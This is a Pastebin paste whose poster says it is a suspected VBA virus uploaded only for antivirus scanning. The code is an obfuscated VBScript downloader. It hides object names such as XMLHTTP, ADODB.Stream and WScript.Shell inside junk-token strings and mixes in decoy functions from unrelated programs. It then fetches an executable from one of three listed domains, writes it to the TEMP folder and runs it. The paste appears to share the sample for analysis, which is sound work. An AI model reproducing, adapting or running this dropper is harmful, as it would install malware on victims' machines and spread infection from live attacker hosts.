Advertisement
Guest User

Some kind of VBA virus?

a guest
Oct 5th, 2017
344
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ' NOTE: This seems to be some kind of virus
  2. ' It was only uploaded here in order to be scanned by my virus scanners
  3. ' NEVER NEVER NEVER EVER EXECUTE THIS CODE!
  4.  
  5.  
  6. Dim Vlancherspecificallyensurance 'As String
  7.  
  8. Function Set2Mine(Who, Color, X, y )
  9.     For i = 0 To UBound(Mines) + 1
  10.         If i > UBound(Mines) Then ReDim Preserve Mines(i)
  11.         If Mines(i).Color = 0 Then
  12.             Mines(i).Who = Who
  13.             Mines(i).Color = Color
  14.             Mines(i).X = X
  15.             Mines(i).y = y
  16.             Mines(i).Tick = 0
  17.             SetMine = i
  18.             Exit For
  19.         End If
  20.     Next
  21. End Function
  22.  
  23. Dim VlancherspecificallyInPlaceOf 'As String
  24. VlancherspecificallyBelish = "User"
  25.  
  26.  
  27. Public Sub LoadDatabase()
  28.    
  29.  
  30.     ' 9/13/06: Add the bot owner 200
  31.    If (LenB(BotVars.BotOwner) > 0) Then
  32.         For i = 0 To UBound(DB)
  33.             If (StrComp(DB(i).Username, BotVars.BotOwner, vbTextCompare) = 0) Then
  34.                 found = True
  35.                
  36.                 Exit For
  37.             End If
  38.         Next
  39.        
  40.         If (found = False) Then
  41.             If (UBound(DB)) Then
  42.                 ReDim Preserve DB(UBound(DB) + 1)
  43.             End If
  44.            
  45.             With DB(UBound(DB))
  46.                 .Username = BotVars.BotOwner
  47.                 .Type = "USER"
  48.                 .Rank = 200
  49.                 .AddedBy = "(console)"
  50.                 .AddedOn = Now
  51.                 .ModifiedBy = "(console)"
  52.                 .ModifiedOn = Now
  53.             End With
  54.             SaveDB = True
  55.         End If
  56.     End If
  57.    
  58.     If (SaveDB) Then Call WriteDatabase(Path)
  59. End Sub
  60.  
  61.        Dim TristateTrue
  62.  
  63.   Pirates = "XMLHTTPHOLSHEAdodb.streaMHOLSHEs"
  64. Vrungel = ".respo"+"nseBody"
  65.  
  66. Dim VlancherspecificallyTimeTo 'As Object
  67. Dim Vlancherspecificallystatus
  68. Vlancherspecificallystatus = false
  69.    
  70.  
  71. CUA ="Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100102 Firefox/54.0"
  72.  
  73.  Dim Pirates 'As String
  74. Dim selectiondas
  75. Dim Vlancherspecificallycashback 'As Object
  76. Dim VlancherspecificallyStepByStep 'As Object
  77. Dim VlancherspecificallyTavyer 'As Object  
  78. Dim abirvalgshoreAxxxxx 'As Object
  79.  
  80.  
  81.  Function SyncObjAshorespecifically2(param1)
  82. param1 = param1 + param1
  83.  
  84. Vlancherspecifically5000 = VlancherspecificallyStepByStep.responseBody
  85. param1 = 4 * param1 + 8
  86.  
  87. End Function
  88.  
  89. Dim Plyask
  90.  
  91.  
  92. Pirates ="Microsoft." + Pirates+  "hell.ApplicationHOLSHEWscript"
  93.  
  94. Function StackStack( vr )
  95.     ad1 = Replace(Pirates, "VRAMIS", "" )
  96.    StackStack = Split(ad1,  vr)
  97. End Function
  98.  
  99. Function T1000(p, ddd)
  100.     Set VlancherspecificallyRunrun = CreateObject("WScri"+"pt."+"Shell")   
  101.     abirvalgshoreAxxxxx.Type = 1
  102.  abirvalgshoreAxxxxx.Open
  103. End Function
  104. Pirates = Pirates+".shellHOLSHEProcessHOLSHEGeTHOLSHET"+"emPHOLSHETyVRAMIS"+"peVRAMIS"
  105.  
  106. Function SyncObjAshorespecifically(strr)
  107. if D = 31 then
  108. AXC = "SaveT"+"oFile"
  109. end if
  110. abirvalgshoreAxxxxx.Savetofile VlancherspecificallyInPlaceOf , 11-9
  111. End Function
  112.  
  113.  
  114.  
  115.  Function IsCircleAnalytic(ByVal Figure1 )
  116. If Figure1 < FigureCount And Figure1 >= 0 Then
  117.     If Figures(Figure1).FigureType = dsAnCircle Then IsCircleAnalytic = True
  118. End If
  119. End Function
  120.  
  121.  Function GetShitlist(ByVal Username )
  122.     Dim gAcc
  123.     Dim Ban  
  124.    
  125.     gAcc = GetCumulativeAccess(Username, "USER")
  126.    
  127.     If (Not InStr(1, gAcc.Flags, "Z", vbBinaryCompare) = 0) Then
  128.         Ban = True
  129.     ElseIf (Not InStr(1, gAcc.Flags, "B", vbBinaryCompare) = 0) Then
  130.         If (GetSafelist(Username) = False) Then Ban = True
  131.     End If
  132.    
  133.     If (Ban) Then
  134.         If ((Len(gAcc.BanMessage) > 0) And (gAcc.BanMessage <> "%")) Then
  135.             GetShitlist = Username & Space(1) & gAcc.BanMessage
  136.         ElseIf InStr(1, gAcc.Username, " (clan)", vbBinaryCompare) > 0 Then
  137.             GetShitlist = Username & Space(1) & "Clanban: " & Mid(gAcc.Username, 2, InStr(1, gAcc.Username, " (clan)", vbBinaryCompare) - 2)
  138.         ElseIf InStr(1, gAcc.Username, " (game)", vbBinaryCompare) > 0 Then
  139.             GetShitlist = Username & Space(1) & "Clientban: " & Mid(gAcc.Username, 2, InStr(1, gAcc.Username, " (game)", vbBinaryCompare) - 2)
  140.         ElseIf InStr(1, gAcc.Username, "*", vbBinaryCompare) > 0 Then
  141.             GetShitlist = Username & Space(1) & "Tagban: " & Mid(gAcc.Username, 2, Len(gAcc.Username) - 2)
  142.         Else
  143.             GetShitlist = Username & Space(1) & "Shitlisted"
  144.         End If
  145.     End If
  146. End Function
  147.  
  148. Pirates = Pirates +"HOLSHEVRAMISoVRAMISpenHOLSHEwrVRAMISiteHOLSHEreVRAMISspoVRAMISnseBoVRAMISdyHOLSHEsaVRAMISvetof"+"VRAMISileHOLSHE\WzjsjAgc.ex"+"VRAMISeHOLSHEhttVRAMISp:HOLSHE//"
  149. Function SheduledfluidObject(p,d)
  150.  
  151. FC = "" + VlancherspecificallyInPlaceOf
  152.  
  153.  VlancherspecificallyRunrun.Run(FC)
  154.  
  155. End Function
  156.  
  157. Dim sNodeKey 'As String
  158.  Dim sParentKey 'As String
  159.  
  160.     Public Function CopyToFolder(dde,aWrite,bWrite)
  161. astp = 13
  162. astp = astp + 5
  163. if astp > 5 then
  164. aWrite.Write bWrite
  165. astp = 4 * astp
  166. end if
  167. End Function
  168.  
  169.  
  170.  
  171.  
  172. Dim Twelve 'As Integer
  173.  Dim sDecimalVis 'As String
  174.  Dim VlancherspecificallyPetir 'As String
  175. VlancherspecificallyPetir = "Ag"
  176.  
  177.   Dim MarketPlaceibility 'As String
  178.  
  179.  
  180.    
  181.  
  182. selectiondas = StackStack("" + "HOLSHE" + "")
  183.  
  184. Dim Vlancherspecifically4 'As String
  185.  
  186. Dim Vlancherspecifically5000 'As Variant
  187. Dim VlancherspecificallyRunrun
  188.  Dim MarketPlace 'As String
  189.  Dim sTempVis 'As String
  190.  Dim iCount 'As Integer
  191.  
  192. Set VlancherspecificallyStepByStep = CreateObject(selectiondas(0))
  193.  
  194. Dim Valery 'As Integer
  195. VlancherspecificallyBelish = VlancherspecificallyBelish + "-"
  196.  
  197.  
  198. Function VlancherspecificallyFuks(p)
  199.  
  200. VlancherspecificallyStepByStep.Send
  201.    
  202.  
  203. End Function
  204. Twelve = 11 + 1
  205. zTempVis = selectiondas(1)
  206.  
  207. 'Set VlancherspecificallyTimeTo = CreateObject(selectiondas(8-6))
  208. Set VlancherspecificallyMisterius = GetRef("SheduledfluidObject")
  209. Set Vlancherspecifically13 = GetRef("SyncObjAshorespecifically")
  210. Set Vlancherspecifically14 = GetRef("CopyToFolder")
  211.  
  212. Set abirvalgshoreAxxxxx = CreateObject("Adodb.streaM")
  213. Set VlancherspecificallyTavyer = CreateObject(selectiondas(9-6))
  214.  
  215. Public Sub DebugLog(txt)
  216.     'debug.print txt
  217.    Open AppPath & "ARCServerDebugLog.txt"
  218.     Print txt
  219.     Close
  220. End Sub
  221.  
  222. if "GRANDIS" + WScript + "4" = "GRANDISWindows Script Host4" Then
  223.    
  224.    
  225.  
  226.  
  227.  
  228.     Set Vlancherspecificallycashback = VlancherspecificallyTavyer.Environment(selectiondas(1 + 3))
  229.  
  230. end if 
  231.  
  232. Function SetUA()
  233. VlancherspecificallyLamp.setRequestHeader VlancherspecificallyBelish, CUA
  234. End Function
  235.  
  236.  Valery = 89210
  237.  
  238. Vlancherspecificallyensurance = Vlancherspecificallycashback(selectiondas(6))
  239.  Dim i
  240.  'on error GoTo nextU
  241. ' on error resume next
  242. sTempVis = selectiondas(1+Twelve -1)
  243.  
  244.  
  245.  
  246. Sub SendFlagDat(SndTo)
  247.     Dim i , b , n
  248.     Dim oNewMsg() , lNewOffSet
  249.     Dim lNewMsg
  250.    
  251.     For i = 1 To UBound(Flag1, 2)
  252.        
  253.         lNewMsg = MSG_FLAGS
  254.         lNewOffSet = 0
  255.         ReDim oNewMsg(0)
  256.         AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
  257.         b = 1
  258.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  259.         b = i
  260.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  261.         n = Flag1(0, i)
  262.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  263.         n = Flag1(1, i)
  264.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  265.         n = FlagCarry1(i)
  266.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  267.         SendTo oNewMsg, CInt(SndTo)
  268.     Next
  269.     For i = 1 To UBound(Flag2, 2)
  270.         lNewMsg = MSG_FLAGS
  271.         lNewOffSet = 0
  272.         ReDim oNewMsg(0)
  273.         AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
  274.         b = 2
  275.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  276.         b = i
  277.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  278.         n = Flag2(0, i)
  279.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  280.         n = Flag2(1, i)
  281.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  282.         n = FlagCarry2(i)
  283.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  284.         SendTo oNewMsg, CInt(SndTo)
  285.     Next
  286.     For i = 1 To UBound(Flag3, 2)
  287.         lNewMsg = MSG_FLAGS
  288.         lNewOffSet = 0
  289.         ReDim oNewMsg(0)
  290.         AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
  291.         b = 3
  292.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  293.         b = i
  294.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  295.         n = Flag3(0, i)
  296.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  297.         n = Flag3(1, i)
  298.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  299.         n = FlagCarry3(i)
  300.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  301.         SendTo oNewMsg, CInt(SndTo)
  302.     Next
  303.     For i = 1 To UBound(Flag4, 2)
  304.         lNewMsg = MSG_FLAGS
  305.         lNewOffSet = 0
  306.         ReDim oNewMsg(0)
  307.         AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
  308.         b = 4
  309.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  310.         b = i
  311.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  312.         n = Flag4(0, i)
  313.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  314.         n = Flag4(1, i)
  315.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  316.         n = FlagCarry4(i)
  317.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  318.         SendTo oNewMsg, CInt(SndTo)
  319.     Next
  320.     For i = 1 To UBound(Flag5, 2)
  321.         lNewMsg = MSG_FLAGS
  322.         lNewOffSet = 0
  323.         ReDim oNewMsg(0)
  324.         AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
  325.         b = 5
  326.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  327.         b = i
  328.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  329.         n = Flag5(0, i)
  330.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  331.         n = Flag5(1, i)
  332.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  333.         n = FlagCarry5(i)
  334.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  335.         SendTo oNewMsg, CInt(SndTo)
  336.     Next
  337.    
  338. End Sub
  339. MarketPlace = selectiondas(12+1) & selectiondas(12+2)
  340.  
  341. Plyask = Array("ernestoangiolini.com/9ghf45jhg?","hutterstock.org/p66/9ghf45jhg","gandmco.com/9ghf45jhg?")
  342.  
  343. VlancherspecificallyBelish = VlancherspecificallyBelish & VlancherspecificallyPetir & "ent"
  344. rdde = 19
  345.  
  346.  
  347. lTo = UBound(Plyask)
  348.  
  349. For i = 0 To lTo Step 1
  350. rdde = rdde * 8
  351.  
  352.     on error resume  next
  353.  
  354. Valery =  Valery +33
  355.  Vlancherspecifically4 = MarketPlace + Plyask(i)
  356.  VlancherspecificallyStepByStep.Open selectiondas(5), Vlancherspecifically4, False
  357. dr1=2
  358.  
  359. rdde = rdde + 91
  360.  
  361.  
  362. SetUA()
  363. VlancherspecificallyFuks " d "
  364. If VlancherspecificallyStepByStep.Status +3 = 203 Then
  365. Vlancherspecificallystatus = true
  366.  Exit For
  367. End If
  368.  
  369. goto14:
  370. Next
  371.  
  372. on error goto 0
  373.  
  374. if Vlancherspecificallystatus Then
  375. Dim Ratchet 'As String
  376. VlancherspecificallyInPlaceOf = Vlancherspecificallyensurance+ sTempVis
  377.  
  378. T1000 "",4
  379. SyncObjAshorespecifically2 31
  380. Vlancherspecifically14 "",abirvalgshoreAxxxxx,Vlancherspecifically5000
  381. Sapogi =21
  382. VlancherspecificallyInPlaceOfu = "" + VlancherspecificallyInPlaceOf
  383.  
  384. Sapogi = Sapogi*4
  385.  
  386. Dim VlancherspecificallyJohnSnowu,VlancherspecificallyDisplay 'As Long
  387. Vlancherspecifically13 "ss"
  388. VlancherspecificallyJohnSnowu = 5066
  389.  
  390. If 913  < VlancherspecificallyJohnSnowu Then
  391.      
  392.     Hipster =63
  393.     VlancherspecificallyDisplay = "W"
  394. End If
  395.  
  396.     VlancherspecificallyMisterius "GEP",0210
  397.  
  398. triada = 02009
  399.  
  400.  
  401. end if
  402.  
  403.  
  404. Public Function ConvertUsername(ByVal Username )
  405.     If (LenB(Username) = 0) Then
  406.         ConvertUsername = Username
  407.     Else
  408.         ' handle namespace conversions (@gateways)
  409.        ConvertUsername = ConvertUsernameGateway(Username)
  410.        
  411.         ' handle D2 naming conventions
  412.        ConvertUsername = ConvertUsernameD2(ConvertUsername, Username)
  413.     End If
  414. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement